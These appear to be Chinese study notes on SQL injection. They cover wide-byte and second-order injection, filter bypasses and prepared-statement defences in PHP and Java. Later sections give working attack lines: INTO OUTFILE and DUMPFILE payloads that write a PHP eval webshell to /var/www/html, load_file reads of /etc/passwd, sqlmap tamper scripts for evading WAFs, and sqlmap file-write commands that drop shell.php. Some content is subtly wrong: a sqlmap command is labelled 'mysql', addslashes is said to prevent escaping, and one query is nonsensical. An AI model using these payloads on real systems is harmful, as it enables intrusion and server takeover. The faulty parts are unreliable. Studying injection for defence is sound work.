1.类型
1.1宽字节注入
1.1.1原理
首先,一个字节为窄字节,两个字节为宽字节。
由于php开启了magicqoutes魔法函数,会将用户输入的特殊字符(包括单引号,双引号,空格等)前面加一个反斜杠来进行转义,
mysql的编码方式为GBK,众所周知这是一个中文编码方式,它会将第一个字节的ascll码大于128的两个字节解释为一个汉字,反斜杠的url编码是%5c,所以我们在特殊字符被转义的情况下进行注入的话,就可以在闭合符前面加上%df等ascll码大于128的一个字节,这样mysql就会将%df%5c认为是一个汉字,后面的闭合符就会正常执行,从而绕过php的转义机制。
url?id=1%df' union select .......
1.1.2防御措施
mysql在接收到用户输入后,先调用mysql_set_charset函数设置连接使用的字符集为gbk,再调用mysql_real_escape_string函数对用户输入直接进行转义(该函数比addslashes函数更安全),该函数不会在闭合符前面添加反斜杠来进行转义,而是会把%df加闭合符直接编码为一个汉字,这样用户输入的闭合符就消失了。
1.2二次注入
顾名思义,即利用第一次攻击者构造的sql数据在第二次sql语句执行中造成注入。
二次注入的根源在于,开发者信任数据库中取出的数据是无害的,sql语句在调用数据库中的数据时发生了注入。
insert into wp_user values(2,'admin\' or \'1','some_pass'); #插入username为admin' or '1,password为some_pass的数据
此时数据库中有两条数据
id | username | password
1 admin passwd
2 admin'or '1 some_pass
<?php
$res=mysqli_query($conn,"select username from wp_user where id=2");
$row = mysqli_fetch_array($res);
$name = $row["username"];
$res=mysqli_query($conn,"select password from wp_user where username='$name'");
?>
则最后执行的sql语句为
select password from wp_user where username='admin' or '1';
则返回的是passwd,而不是some_pass
select password from wp_user where username='admin' group by 22,'1';
2.绕过方式
大小写绕过、双写绕过、%09空格绕过、注释绕过、反斜杠绕过。
//过滤对应的绕过方式
str_replace(" ","",$sql); //过滤空格,将空格用%09代替
"\bselect\b" //正则匹配关键字,用/*!50000select*/注释绕过,意为mysql5.0以上版本会执行注释里的sql语句。
$sql="select * from wp_news where id='可控1' and title='可控2'"; //若替换了引号,则利用反斜杠将引号转义
绕过:可控1=a\ 可控2=or sleep(1)# ===>$sql="select * from wp_news where id='a\' and title=' or sleep(1)#'"
若对单引号进行了转义,可以使用宽字节注入(在单双引号前面加%df),或者使用addslashed函数对输入的字符串进行编码,这样其中的特殊字符就不会被转义。
3.防御
3.1 sql语句预编译
3.1.1 php预编译
<?php
// 创建 MySQLi 连接
$mysqli = new mysqli("localhost", "username", "password", "database_name");
// 检查连接
if ($mysqli->connect_error) {
die("Connection failed: " . $mysqli->connect_error);
}
// 预编译查询语句
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND age = ?");
// 绑定参数:'s' 表示字符串类型,'i' 表示整数类型
$username = 'john_doe';
$age = 25;
$stmt->bind_param("si", $username, $age);
// 执行查询
$stmt->execute();
// 获取查询结果
$result = $stmt->get_result();
// 输出结果
while ($row = $result->fetch_assoc()) {
echo $row['id'] . " - " . $row['username'] . "<br>";
}
// 关闭语句和连接
$stmt->close();
$mysqli->close();
?>
3.1.2 java预编译
import java.sql.*;
public class JdbcExample {
public static void main(String[] args) {
// 数据库连接信息
String url = "jdbc:mysql://localhost:3306/your_database";
String user = "your_username";
String password = "your_password";
// 数据库连接、PreparedStatement 和结果集
Connection conn = null;
PreparedStatement pstmt = null;
ResultSet rs = null;
try {
// 1. 加载 JDBC 驱动
Class.forName("com.mysql.cj.jdbc.Driver");
// 2. 获取数据库连接
conn = DriverManager.getConnection(url, user, password);
// 3. 创建预编译查询语句
String sql = "SELECT * FROM users WHERE username = ? AND age = ?";
pstmt = conn.prepareStatement(sql);
// 4. 设置参数
pstmt.setString(1, "john_doe"); // 第一个问号绑定值
pstmt.setInt(2, 25); // 第二个问号绑定值
// 5. 执行查询
rs = pstmt.executeQuery();
// 6. 处理结果集
while (rs.next()) {
int id = rs.getInt("id");
String username = rs.getString("username");
int age = rs.getInt("age");
System.out.println(id + " - " + username + " - " + age);
}
} catch (SQLException | ClassNotFoundException e) {
e.printStackTrace();
} finally {
// 7. 关闭资源
try {
if (rs != null) {
rs.close();
}
if (pstmt != null) {
pstmt.close();
}
if (conn != null) {
conn.close();
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
}
4. 利用
select "<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/shell.php' #into outfile 写文件
select "<?php @eval($_POST['cmd']); ?>" dumpfile '/var/www/html/shell.php' # dumpfile 写文件
select load_file('/etc/passwd') # load_file()读文件
SQL_Server 数据库中可以直接执行系统命令
5.SQLmap绕过
--tamper=xxxx
apostrophemadk # 绕过单引号
space2comment #将空格替换为 /**/ 注释
base64encode # base64编码
multiplespaces #多个空格绕过
space2plus #空格替换为加号
space2hash # 将空格替换为哈希字符
space2mssqlblank #空格替换为 MSSQL 注释
space2randomblank #随机替换空格,增加检测难度
tamper=charencode # 将 SQL 关键字转为 ASCII 编码
between # 将 = 变为 BETWEEN。
like # 将 = 变为 LIKE
randomcase # 随机改变 SQL 关键字的大小写
unionalltounion #将 UNION ALL 替换为 UNION,绕过检测
tamper=securesphere #绕过 Barracuda WAF
6.其他
sudo mysql -e '\! <command>' #mysql执行命令
mysql -r post.txt --file-read "/flag" --dbms mysql --batch #sqlmap读文件
sqlmap -u "http://example.com/vuln.php?id=1" --file-write="D:/Desktop/tools/testflag.php" --file-dest="/var/www/html/shell.php" #sqlmap写文件